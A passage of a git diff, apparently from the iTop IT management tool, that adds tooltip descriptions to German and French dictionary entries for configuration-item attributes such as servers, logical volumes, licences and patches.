'Class:NetworkDevice/Attribute:connectablecis_list+' => '', + 'Class:NetworkDevice/Attribute:connectablecis_list+' => 'All the devices connected to this network device~~', 'Class:NetworkDevice/Attribute:iosversion_id' => 'IOS Version', 'Class:NetworkDevice/Attribute:iosversion_id+' => '', 'Class:NetworkDevice/Attribute:iosversion_name' => 'IOS-Versionsname', @@ -330,7 +330,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Server/Attribute:ram' => 'RAM', 'Class:Server/Attribute:ram+' => '', 'Class:Server/Attribute:logicalvolumes_list' => 'Logische Volumes', - 'Class:Server/Attribute:logicalvolumes_list+' => '', + 'Class:Server/Attribute:logicalvolumes_list+' => 'All the logical volumes connected to this server~~', )); // @@ -341,7 +341,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:StorageSystem' => 'Storage-System', 'Class:StorageSystem+' => '', 'Class:StorageSystem/Attribute:logicalvolume_list' => 'Logische Volumes', - 'Class:StorageSystem/Attribute:logicalvolume_list+' => '', + 'Class:StorageSystem/Attribute:logicalvolume_list+' => 'All the logical volumes in this storage system~~', )); // @@ -352,7 +352,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:SANSwitch' => 'SAN-Switch', 'Class:SANSwitch+' => '', 'Class:SANSwitch/Attribute:datacenterdevice_list' => 'Geräte', - 'Class:SANSwitch/Attribute:datacenterdevice_list+' => '', + 'Class:SANSwitch/Attribute:datacenterdevice_list+' => 'All the devices connected to this SAN switch~~', )); // @@ -363,7 +363,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:TapeLibrary' => 'Tape-Library', 'Class:TapeLibrary+' => '', 'Class:TapeLibrary/Attribute:tapes_list' => 'Tapes', - 'Class:TapeLibrary/Attribute:tapes_list+' => '', + 'Class:TapeLibrary/Attribute:tapes_list+' => 'All the tapes in the tape library~~', )); // @@ -374,7 +374,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:NAS' => 'NAS', 'Class:NAS+' => '', 'Class:NAS/Attribute:nasfilesystem_list' => 'Dateisysteme', - 'Class:NAS/Attribute:nasfilesystem_list+' => '', + 'Class:NAS/Attribute:nasfilesystem_list+' => 'All the file systems in this NAS~~', )); // @@ -430,7 +430,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:PowerSource' => 'Stromquelle', 'Class:PowerSource+' => '', 'Class:PowerSource/Attribute:pdus_list' => 'PDUs', - 'Class:PowerSource/Attribute:pdus_list+' => '', + 'Class:PowerSource/Attribute:pdus_list+' => 'All the PDUs using this power source~~', )); // @@ -473,7 +473,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Enclosure/Attribute:nb_u' => 'Höheneinheiten', 'Class:Enclosure/Attribute:nb_u+' => '', 'Class:Enclosure/Attribute:device_list' => 'Geräte', - 'Class:Enclosure/Attribute:device_list+' => '', + 'Class:Enclosure/Attribute:device_list+' => 'All the devices in this enclosure~~', )); // @@ -484,9 +484,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:ApplicationSolution' => 'Anwendungslösung', 'Class:ApplicationSolution+' => '', 'Class:ApplicationSolution/Attribute:functionalcis_list' => 'CIs', - 'Class:ApplicationSolution/Attribute:functionalcis_list+' => '', + 'Class:ApplicationSolution/Attribute:functionalcis_list+' => 'All the configuration items that compose this application solution~~', 'Class:ApplicationSolution/Attribute:businessprocess_list' => 'Business-Prozesse', - 'Class:ApplicationSolution/Attribute:businessprocess_list+' => '', + 'Class:ApplicationSolution/Attribute:businessprocess_list+' => 'All the business processes depending on this application solution~~', 'Class:ApplicationSolution/Attribute:status' => 'Status', 'Class:ApplicationSolution/Attribute:status+' => '', 'Class:ApplicationSolution/Attribute:status/Value:active' => 'aktiv', @@ -507,7 +507,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:BusinessProcess' => 'Business-Prozess', 'Class:BusinessProcess+' => '', 'Class:BusinessProcess/Attribute:applicationsolutions_list' => 'Anwendungslösungen', - 'Class:BusinessProcess/Attribute:applicationsolutions_list+' => '', + 'Class:BusinessProcess/Attribute:applicationsolutions_list+' => 'All the application solutions that impact this business process~~', 'Class:BusinessProcess/Attribute:status' => 'Status', 'Class:BusinessProcess/Attribute:status+' => '', 'Class:BusinessProcess/Attribute:status/Value:active' => 'aktiv', @@ -553,7 +553,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Middleware' => 'Middleware', 'Class:Middleware+' => '', 'Class:Middleware/Attribute:middlewareinstance_list' => 'Middleware-Instanzen', - 'Class:Middleware/Attribute:middlewareinstance_list+' => '', + 'Class:Middleware/Attribute:middlewareinstance_list+' => 'All the middleware instances provided by this middleware~~', )); // @@ -564,7 +564,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:DBServer' => 'DB Server', 'Class:DBServer+' => '', 'Class:DBServer/Attribute:dbschema_list' => 'DB Schemata', - 'Class:DBServer/Attribute:dbschema_list+' => '', + 'Class:DBServer/Attribute:dbschema_list+' => 'All the database schemas for this DB server~~', )); // @@ -575,7 +575,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:WebServer' => 'Web Server', 'Class:WebServer+' => '', 'Class:WebServer/Attribute:webapp_list' => 'Webapplikationen', - 'Class:WebServer/Attribute:webapp_list+' => '', + 'Class:WebServer/Attribute:webapp_list+' => 'All the web applications available on this web server~~', )); // @@ -656,7 +656,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:VirtualDevice/Attribute:status/Value:stock' => 'Lager', 'Class:VirtualDevice/Attribute:status/Value:stock+' => '', 'Class:VirtualDevice/Attribute:logicalvolumes_list' => 'Logical Volumes', - 'Class:VirtualDevice/Attribute:logicalvolumes_list+' => '', + 'Class:VirtualDevice/Attribute:logicalvolumes_list+' => 'All the logical volumes used by this device~~', )); // @@ -667,7 +667,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:VirtualHost' => 'Host', 'Class:VirtualHost+' => '', 'Class:VirtualHost/Attribute:virtualmachine_list' => 'Virtuelle Maschinen', - 'Class:VirtualHost/Attribute:virtualmachine_list+' => '', + 'Class:VirtualHost/Attribute:virtualmachine_list+' => 'All the virtual machines hosted by this host~~', )); // @@ -695,7 +695,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Farm' => 'Farm', 'Class:Farm+' => '', 'Class:Farm/Attribute:hypervisor_list' => 'Hypervisoren', - 'Class:Farm/Attribute:hypervisor_list+' => '', + 'Class:Farm/Attribute:hypervisor_list+' => 'All the hypervisors that compose this farm~~', 'Class:Farm/Attribute:redundancy' => 'Hochverfügbarkeit', 'Class:Farm/Attribute:redundancy/disabled' => 'Die Farm läuft, wenn alle Hypervisoren laufen.', 'Class:Farm/Attribute:redundancy/count' => 'Die Farm läuft, wenn mindestens %1$s Hypervisor(en) läuft/laufen.', @@ -732,7 +732,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:VirtualMachine/Attribute:managementip' => 'Management-IP', 'Class:VirtualMachine/Attribute:managementip+' => '', 'Class:VirtualMachine/Attribute:logicalinterface_list' => 'Netzwerk-Interfaces', - 'Class:VirtualMachine/Attribute:logicalinterface_list+' => '', + 'Class:VirtualMachine/Attribute:logicalinterface_list+' => 'All the logical network interfaces~~', )); // @@ -757,9 +757,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:LogicalVolume/Attribute:storagesystem_name' => 'Storage-Systemname', 'Class:LogicalVolume/Attribute:storagesystem_name+' => '', 'Class:LogicalVolume/Attribute:servers_list' => 'Server', - 'Class:LogicalVolume/Attribute:servers_list+' => '', + 'Class:LogicalVolume/Attribute:servers_list+' => 'All the servers using this volume~~', 'Class:LogicalVolume/Attribute:virtualdevices_list' => 'Virtuelle Geräte', - 'Class:LogicalVolume/Attribute:virtualdevices_list+' => '', + 'Class:LogicalVolume/Attribute:virtualdevices_list+' => 'All the virtual devices using this volume~~', )); // @@ -875,7 +875,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Software/Attribute:version' => 'Version', 'Class:Software/Attribute:version+' => '', 'Class:Software/Attribute:documents_list' => 'Dokumente', - 'Class:Software/Attribute:documents_list+' => '', + 'Class:Software/Attribute:documents_list+' => 'All the documents linked to this software~~', 'Class:Software/Attribute:type' => 'Typ', 'Class:Software/Attribute:type+' => '', 'Class:Software/Attribute:type/Value:DBServer' => 'DB-Server', @@ -889,11 +889,11 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Software/Attribute:type/Value:WebServer' => 'Webserver', 'Class:Software/Attribute:type/Value:WebServer+' => '', 'Class:Software/Attribute:softwareinstance_list' => 'Software-Instanzen', - 'Class:Software/Attribute:softwareinstance_list+' => '', + 'Class:Software/Attribute:softwareinstance_list+' => 'All the software instances for this software~~', 'Class:Software/Attribute:softwarepatch_list' => 'Software-Patches', - 'Class:Software/Attribute:softwarepatch_list+' => '', + 'Class:Software/Attribute:softwarepatch_list+' => 'All the patchs for this software~~', 'Class:Software/Attribute:softwarelicence_list' => 'Softwarelizenzen', - 'Class:Software/Attribute:softwarelicence_list+' => '', + 'Class:Software/Attribute:softwarelicence_list+' => 'All the licenses for this software~~', )); // @@ -906,7 +906,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Patch/Attribute:name' => 'Name', 'Class:Patch/Attribute:name+' => '', 'Class:Patch/Attribute:documents_list' => 'Dokumente', - 'Class:Patch/Attribute:documents_list+' => '', + 'Class:Patch/Attribute:documents_list+' => 'All the documents linked to this patch~~', 'Class:Patch/Attribute:description' => 'Beschreibung', 'Class:Patch/Attribute:description+' => '', 'Class:Patch/Attribute:finalclass' => 'Typ', @@ -921,7 +921,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:OSPatch' => 'OS-Patch', 'Class:OSPatch+' => '', 'Class:OSPatch/Attribute:functionalcis_list' => 'Geräte', - 'Class:OSPatch/Attribute:functionalcis_list+' => '', + 'Class:OSPatch/Attribute:functionalcis_list+' => 'All the systems where this patch is installed~~', 'Class:OSPatch/Attribute:osversion_id' => 'OS Version', 'Class:OSPatch/Attribute:osversion_id+' => '', 'Class:OSPatch/Attribute:osversion_name' => 'OS-Versionsname', @@ -940,7 +940,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:SoftwarePatch/Attribute:software_name' => 'Software-Name', 'Class:SoftwarePatch/Attribute:software_name+' => '', 'Class:SoftwarePatch/Attribute:softwareinstances_list' => 'Software-Instanzen', - 'Class:SoftwarePatch/Attribute:softwareinstances_list+' => '', + 'Class:SoftwarePatch/Attribute:softwareinstances_list+' => 'All the systems where this software patch is installed~~', )); // @@ -953,7 +953,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Licence/Attribute:name' => 'Name', 'Class:Licence/Attribute:name+' => '', 'Class:Licence/Attribute:documents_list' => 'Dokumente', - 'Class:Licence/Attribute:documents_list+' => '', + 'Class:Licence/Attribute:documents_list+' => 'All the documents linked to this license~~', 'Class:Licence/Attribute:org_id' => 'Besitzer', 'Class:Licence/Attribute:org_id+' => '', 'Class:Licence/Attribute:organization_name' => 'Organisationsname', @@ -990,9 +990,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:OSLicence/Attribute:osversion_name' => 'OS-Versionsname', 'Class:OSLicence/Attribute:osversion_name+' => '', 'Class:OSLicence/Attribute:virtualmachines_list' => 'Virtuelle Maschinen', - 'Class:OSLicence/Attribute:virtualmachines_list+' => '', + 'Class:OSLicence/Attribute:virtualmachines_list+' => 'All the virtual machines where this license is used~~', 'Class:OSLicence/Attribute:servers_list' => 'Server', - 'Class:OSLicence/Attribute:servers_list+' => '', + 'Class:OSLicence/Attribute:servers_list+' => 'All the servers where this license is used~~', )); // @@ -1007,7 +1007,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:SoftwareLicence/Attribute:software_name' => 'Software-Name', 'Class:SoftwareLicence/Attribute:software_name+' => '', 'Class:SoftwareLicence/Attribute:softwareinstance_list' => 'Software-Instanzen', - 'Class:SoftwareLicence/Attribute:softwareinstance_list+' => '', + 'Class:SoftwareLicence/Attribute:softwareinstance_list+' => 'All the systems where this license is used~~', )); // @@ -1057,7 +1057,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Brand' => 'Marke', 'Class:Brand+' => '', 'Class:Brand/Attribute:physicaldevices_list' => 'Physische Geräte', - 'Class:Brand/Attribute:physicaldevices_list+' => '', + 'Class:Brand/Attribute:physicaldevices_list+' => 'All the physical devices corresponding to this brand~~', 'Class:Brand/UniquenessRule:name+' => 'Der Name muss eindeutig sein', 'Class:Brand/UniquenessRule:name' => 'Diese Marke existiert bereits', )); @@ -1112,7 +1112,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Model/Attribute:type/Value:Phone' => 'Telefon', 'Class:Model/Attribute:type/Value:Phone+' => '', 'Class:Model/Attribute:physicaldevices_list' => 'Physische Geräte', - 'Class:Model/Attribute:physicaldevices_list+' => '', + 'Class:Model/Attribute:physicaldevices_list+' => 'All the physical devices corresponding to this model~~', 'Class:Model/UniquenessRule:name_brand+' => 'Der Modellname für eine Marke muss eindeutig sein', 'Class:Model/UniquenessRule:name_brand' => 'Es existiert bereits ein Modell mit diesem Namen für diese Marke', )); @@ -1125,7 +1125,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:NetworkDeviceType' => 'Netzwerkgerätetyp', 'Class:NetworkDeviceType+' => '', 'Class:NetworkDeviceType/Attribute:networkdevicesdevices_list' => 'Netzwerkgeräte', - 'Class:NetworkDeviceType/Attribute:networkdevicesdevices_list+' => '', + 'Class:NetworkDeviceType/Attribute:networkdevicesdevices_list+' => 'All the network devices corresponding to this type~~', )); // @@ -1469,7 +1469,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Group/Attribute:parent_name' => 'Name', 'Class:Group/Attribute:parent_name+' => '', 'Class:Group/Attribute:ci_list' => 'Verbundene CIs', - 'Class:Group/Attribute:ci_list+' => '', + 'Class:Group/Attribute:ci_list+' => 'All the configuration items linked to this group~~', 'Class:Group/Attribute:parent_id_friendlyname' => 'Parent-Gruppe', 'Class:Group/Attribute:parent_id_friendlyname+' => '', )); diff --git a/datamodels/2.x/itop-config-mgmt/dictionaries/fr.dict.itop-config-mgmt.php b/datamodels/2.x/itop-config-mgmt/dictionaries/fr.dict.itop-config-mgmt.php index e2f4c4343..146301c7d 100644 --- a/datamodels/2.x/itop-config-mgmt/dictionaries/fr.dict.itop-config-mgmt.php +++ b/datamodels/2.x/itop-config-mgmt/dictionaries/fr.dict.itop-config-mgmt.php @@ -117,13 +117,13 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:FunctionalCI/Attribute:move2production' => 'Date de mise en production', 'Class:FunctionalCI/Attribute:move2production+' => '', 'Class:FunctionalCI/Attribute:contacts_list' => 'Contacts', - 'Class:FunctionalCI/Attribute:contacts_list+' => '', + 'Class:FunctionalCI/Attribute:contacts_list+' => 'Tous les contacts de cet élément de configuration', 'Class:FunctionalCI/Attribute:documents_list' => 'Documents', - 'Class:FunctionalCI/Attribute:documents_list+' => '', + 'Class:FunctionalCI/Attribute:documents_list+' => 'Tous les documents liés à cet élément de configuration', 'Class:FunctionalCI/Attribute:applicationsolution_list' => 'Solutions applicatives', - 'Class:FunctionalCI/Attribute:applicationsolution_list+' => '', + 'Class:FunctionalCI/Attribute:applicationsolution_list+' => 'Toutes les solutions applicatives dépendantes de cet élément de configuration', 'Class:FunctionalCI/Attribute:softwares_list' => 'Logiciels', - 'Class:FunctionalCI/Attribute:softwares_list+' => '', + 'Class:FunctionalCI/Attribute:softwares_list+' => 'Tous les logiciels installés sur cet élément de configuration', 'Class:FunctionalCI/Attribute:finalclass' => 'Sous-classe de CI', 'Class:FunctionalCI/Attribute:finalclass+' => 'Nom de la classe instanciable', 'Class:FunctionalCI/Tab:OpenedTickets' => 'Tickets en cours', @@ -178,9 +178,9 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Rack/Attribute:nb_u' => 'NB Unité', 'Class:Rack/Attribute:nb_u+' => '', 'Class:Rack/Attribute:device_list' => 'Matériels', - 'Class:Rack/Attribute:device_list+' => '', + 'Class:Rack/Attribute:device_list+' => 'Tous les matériels rackés dans ce rack', 'Class:Rack/Attribute:enclosure_list' => 'Chassis', - 'Class:Rack/Attribute:enclosure_list+' => '', + 'Class:Rack/Attribute:enclosure_list+' => 'Tous les chassis dans ce rack', )); // @@ -242,9 +242,9 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:ConnectableCI' => 'CI connecté', 'Class:ConnectableCI+' => '', 'Class:ConnectableCI/Attribute:networkdevice_list' => 'Equipements réseaux', - 'Class:ConnectableCI/Attribute:networkdevice_list+' => '', + 'Class:ConnectableCI/Attribute:networkdevice_list+' => 'Tous les équipements réseaux connectés à ce matériel', 'Class:ConnectableCI/Attribute:physicalinterface_list' => 'Interfaces réseaux', - 'Class:ConnectableCI/Attribute:physicalinterface_list+' => '', + 'Class:ConnectableCI/Attribute:physicalinterface_list+' => 'Toutes les interfaces réseaux physiques', )); // @@ -275,9 +275,9 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:DatacenterDevice/Attribute:powerB_name' => 'Nom Source électrique B', 'Class:DatacenterDevice/Attribute:powerB_name+' => '', 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list' => 'FC ports', - 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list+' => '', + 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list+' => 'Toutes les interfaces fibre optique de ce matériel', 'Class:DatacenterDevice/Attribute:san_list' => 'SANs', - 'Class:DatacenterDevice/Attribute:san_list+' => '', + 'Class:DatacenterDevice/Attribute:san_list+' => 'Tous les switchs SAN connectés à ce matériel', 'Class:DatacenterDevice/Attribute:redundancy' => 'Redondance', 'Class:DatacenterDevice/Attribute:redundancy/count' => 'Le %2$s est alimenté si au moins une source électrique (A ou B) est opérationnelle', // Unused yet @@ -297,7 +297,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:NetworkDevice/Attribute:networkdevicetype_name' => 'Nom Type', 'Class:NetworkDevice/Attribute:networkdevicetype_name+' => '', 'Class:NetworkDevice/Attribute:connectablecis_list' => 'Matériel connectés', - 'Class:NetworkDevice/Attribute:connectablecis_list+' => '', + 'Class:NetworkDevice/Attribute:connectablecis_list+' => 'Tous les matériels connectés à cet appareil réseau', 'Class:NetworkDevice/Attribute:iosversion_id' => 'Version IOS', 'Class:NetworkDevice/Attribute:iosversion_id+' => '', 'Class:NetworkDevice/Attribute:iosversion_name' => 'Nom Version IOS', @@ -330,7 +330,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Server/Attribute:ram' => 'RAM', 'Class:Server/Attribute:ram+' => '', 'Class:Server/Attribute:logicalvolumes_list' => 'Volumes logiques', - 'Class:Server/Attribute:logicalvolumes_list+' => '', + 'Class:Server/Attribute:logicalvolumes_list+' => 'Tous les volumes logiques connectés à ce serveur', )); // @@ -341,7 +341,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:StorageSystem' => 'Système de stockage', 'Class:StorageSystem+' => '', 'Class:StorageSystem/Attribute:logicalvolume_list' => 'Volumes logiques', - 'Class:StorageSystem/Attribute:logicalvolume_list+' => '', + 'Class:StorageSystem/Attribute:logicalvolume_list+' => 'Tous les volumes logiques dans ce système de stockage', )); // @@ -352,7 +352,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:SANSwitch' => 'Switch SAN', 'Class:SANSwitch+' => '', 'Class:SANSwitch/Attribute:datacenterdevice_list' => 'Matériels connectés', - 'Class:SANSwitch/Attribute:datacenterdevice_list+' => '', + 'Class:SANSwitch/Attribute:datacenterdevice_list+' => 'Tous les matériels connectés à ce switch SAN', )); // @@ -363,7 +363,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:TapeLibrary' => 'Bandothèque', 'Class:TapeLibrary+' => '', 'Class:TapeLibrary/Attribute:tapes_list' => 'Bandes', - 'Class:TapeLibrary/Attribute:tapes_list+' => '', + 'Class:TapeLibrary/Attribute:tapes_list+' => 'Toutes les bandes dans cette bandothèque', )); // @@ -374,7 +374,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:NAS' => 'NAS', 'Class:NAS+' => '', 'Class:NAS/Attribute:nasfilesystem_list' => 'Systèmes de fichier NAS', - 'Class:NAS/Attribute:nasfilesystem_list+' => '', + 'Class:NAS/Attribute:nasfilesystem_list+' => 'Tous les systèmes de fichier dans ce NAS', )); // @@ -430,7 +430,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:PowerSource' => 'Arrivée électrique', 'Class:PowerSource+' => '', 'Class:PowerSource/Attribute:pdus_list' => 'PDUs', - 'Class:PowerSource/Attribute:pdus_list+' => '', + 'Class:PowerSource/Attribute:pdus_list+' => 'Toutes les PDUs de cette arrivée électrique', )); // @@ -473,7 +473,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Enclosure/Attribute:nb_u' => 'NB Unité', 'Class:Enclosure/Attribute:nb_u+' => '', 'Class:Enclosure/Attribute:device_list' => 'Devices', - 'Class:Enclosure/Attribute:device_list+' => '', + 'Class:Enclosure/Attribute:device_list+' => 'Tous les matériels dans ce chassis', )); // @@ -484,9 +484,9 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:ApplicationSolution' => 'Solution applicative', 'Class:ApplicationSolution+' => '', 'Class:ApplicationSolution/Attribute:functionalcis_list' => 'CIs', - 'Class:ApplicationSolution/Attribute:functionalcis_list+' => '', + 'Class:ApplicationSolution/Attribute:functionalcis_list+' => 'Tous les éléments de configuration qui composent cette solution applicative', 'Class:ApplicationSolution/Attribute:businessprocess_list' => 'Processus métiers', - 'Class:ApplicationSolution/Attribute:businessprocess_list+' => '', + 'Class:ApplicationSolution/Attribute:businessprocess_list+' => 'Tous les processus métiers dépendants de cette solution applicative', 'Class:ApplicationSolution/Attribute:status' => 'Statut', 'Class:ApplicationSolution/Attribute:status+' => '', 'Class:ApplicationSolution/Attribute:status/Value:active' => 'active', @@ -507,7 +507,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:BusinessProcess' => 'Processus métier', 'Class:BusinessProcess+' => '', 'Class:BusinessProcess/Attribute:applicationsolutions_list' => 'Solutions applicatives', - 'Class:BusinessProcess/Attribute:applicationsolutions_list+' => '', + 'Class:BusinessProcess/Attribute:applicationsolutions_list+' => 'Toutes les solutions applicatives qui impactent ce processus métier', 'Class:BusinessProcess/Attribute:status' => 'Statut', 'Class:BusinessProcess/Attribute:status+' => '', 'Class:BusinessProcess/Attribute:status/Value:active' => 'actif', @@ -553,7 +553,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Middleware' => 'Middleware', 'Class:Middleware+' => '', 'Class:Middleware/Attribute:middlewareinstance_list' => 'Instance Middleware', - 'Class:Middleware/Attribute:middlewareinstance_list+' => '', + 'Class:Middleware/Attribute:middlewareinstance_list+' => 'Toutes les instances de middleware fournies par ce middleware', )); // @@ -564,7 +564,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:DBServer' => 'Serveur de base de données', 'Class:DBServer+' => '', 'Class:DBServer/Attribute:dbschema_list' => 'Instances de base de données', - 'Class:DBServer/Attribute:dbschema_list+' => '', + 'Class:DBServer/Attribute:dbschema_list+' => 'Toutes les instances de base de données pour ce serveur', )); // @@ -575,7 +575,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:WebServer' => 'Serveur Web', 'Class:WebServer+' => '', 'Class:WebServer/Attribute:webapp_list' => 'Application Web', - 'Class:WebServer/Attribute:webapp_list+' => '', + 'Class:WebServer/Attribute:webapp_list+' => 'Toutes les applications Web disponibles sur ce serveur', )); // @@ -656,7 +656,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:VirtualDevice/Attribute:status/Value:stock' => 'stock', 'Class:VirtualDevice/Attribute:status/Value:stock+' => 'stock', 'Class:VirtualDevice/Attribute:logicalvolumes_list' => 'Volumes logiques', - 'Class:VirtualDevice/Attribute:logicalvolumes_list+' => '', + 'Class:VirtualDevice/Attribute:logicalvolumes_list+' => 'Tous les volumes logiques utilisés par ce matériel', )); // @@ -667,7 +667,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:VirtualHost' => 'Hôte Virtuel', 'Class:VirtualHost+' => '', 'Class:VirtualHost/Attribute:virtualmachine_list' => 'Machines virtuelles', - 'Class:VirtualHost/Attribute:virtualmachine_list+' => '', + 'Class:VirtualHost/Attribute:virtualmachine_list+' => 'Toutes les machiens virtuelles hébergées par cet hôte', )); // @@ -695,7 +695,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Farm' => 'vCluster', 'Class:Farm+' => '', 'Class:Farm/Attribute:hypervisor_list' => 'Hyperviseurs', - 'Class:Farm/Attribute:hypervisor_list+' => '', + 'Class:Farm/Attribute:hypervisor_list+' => 'Tous les hyperviseurs qui composent ce vCluster', 'Class:Farm/Attribute:redundancy' => 'Haute disponibilité', 'Class:Farm/Attribute:redundancy/disabled' => 'Le vCluster est opérationnel si tous les hyperviseurs qui le composent sont opérationnels', 'Class:Farm/Attribute:redundancy/count' => 'Nombre minimal d\'hyperviseurs pour que le vCluster soit opérationnel : %1$s', @@ -732,7 +732,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:VirtualMachine/Attribute:managementip' => 'IP', 'Class:VirtualMachine/Attribute:managementip+' => '', 'Class:VirtualMachine/Attribute:logicalinterface_list' => 'Interfaces réseaux', - 'Class:VirtualMachine/Attribute:logicalinterface_list+' => '', + 'Class:VirtualMachine/Attribute:logicalinterface_list+' => 'Toutes les interfaces réseaux logiques', )); // @@ -757,9 +757,9 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:LogicalVolume/Attribute:storagesystem_name' => 'Nom Système de stockage', 'Class:LogicalVolume/Attribute:storagesystem_name+' => '', 'Class:LogicalVolume/Attribute:servers_list' => 'Serveurs', - 'Class:LogicalVolume/Attribute:servers_list+' => '', + 'Class:LogicalVolume/Attribute:servers_list+' => 'Tous les serveurs utilisant ce volume', 'Class:LogicalVolume/Attribute:virtualdevices_list' => 'Machines virtuelles', - 'Class:LogicalVolume/Attribute:virtualdevices_list+' => '', + 'Class:LogicalVolume/Attribute:virtualdevices_list+' => 'Toutes les machines virtuelles utilisant ce volume', )); // @@ -875,7 +875,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Software/Attribute:version' => 'Version', 'Class:Software/Attribute:version+' => '', 'Class:Software/Attribute:documents_list' => 'Documents', - 'Class:Software/Attribute:documents_list+' => '', + 'Class:Software/Attribute:documents_list+' => 'Tous les documents liés à ce logiciel', 'Class:Software/Attribute:type' => 'Type', 'Class:Software/Attribute:type+' => '', 'Class:Software/Attribute:type/Value:DBServer' => 'Serveur de base de données', @@ -889,11 +889,11 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Software/Attribute:type/Value:WebServer' => 'Serveur Web', 'Class:Software/Attribute:type/Value:WebServer+' => 'Serveur Web', 'Class:Software/Attribute:softwareinstance_list' => 'Instances logiciels', - 'Class:Software/Attribute:softwareinstance_list+' => '', + 'Class:Software/Attribute:softwareinstance_list+' => 'Toutes les instances de ce logiciel', 'Class:Software/Attribute:softwarepatch_list' => 'Patchs logiciels', - 'Class:Software/Attribute:softwarepatch_list+' => '', + 'Class:Software/Attribute:softwarepatch_list+' => 'Tous les patchs de ce logiciel', 'Class:Software/Attribute:softwarelicence_list' => 'Software licences', - 'Class:Software/Attribute:softwarelicence_list+' => '', + 'Class:Software/Attribute:softwarelicence_list+' => 'Toutes les licences de ce logiciel', )); // @@ -906,7 +906,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Patch/Attribute:name' => 'Nom', 'Class:Patch/Attribute:name+' => '', 'Class:Patch/Attribute:documents_list' => 'Documents', - 'Class:Patch/Attribute:documents_list+' => '', + 'Class:Patch/Attribute:documents_list+' => 'Tous les documents liés à ce patch', 'Class:Patch/Attribute:description' => 'Description', 'Class:Patch/Attribute:description+' => '', 'Class:Patch/Attribute:finalclass' => 'Sous-classe de Patch', @@ -921,7 +921,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:OSPatch' => 'Patch OS', 'Class:OSPatch+' => '', 'Class:OSPatch/Attribute:functionalcis_list' => 'Systèmes', - 'Class:OSPatch/Attribute:functionalcis_list+' => '', + 'Class:OSPatch/Attribute:functionalcis_list+' => 'Tous les systèmes où ce patch est installé', 'Class:OSPatch/Attribute:osversion_id' => 'Version OS', 'Class:OSPatch/Attribute:osversion_id+' => '', 'Class:OSPatch/Attribute:osversion_name' => 'Nom Version OS', @@ -940,7 +940,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:SoftwarePatch/Attribute:software_name' => 'Nom logiciel', 'Class:SoftwarePatch/Attribute:software_name+' => '', 'Class:SoftwarePatch/Attribute:softwareinstances_list' => 'Instances logiciels', - 'Class:SoftwarePatch/Attribute:softwareinstances_list+' => '', + 'Class:SoftwarePatch/Attribute:softwareinstances_list+' => 'Tous les systèmes où ce logiciel est installé', )); // @@ -953,7 +953,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Licence/Attribute:name' => 'Nom', 'Class:Licence/Attribute:name+' => '', 'Class:Licence/Attribute:documents_list' => 'Documents', - 'Class:Licence/Attribute:documents_list+' => '', + 'Class:Licence/Attribute:documents_list+' => 'Tous les documents liés à cette licence', 'Class:Licence/Attribute:org_id' => 'Organisation', 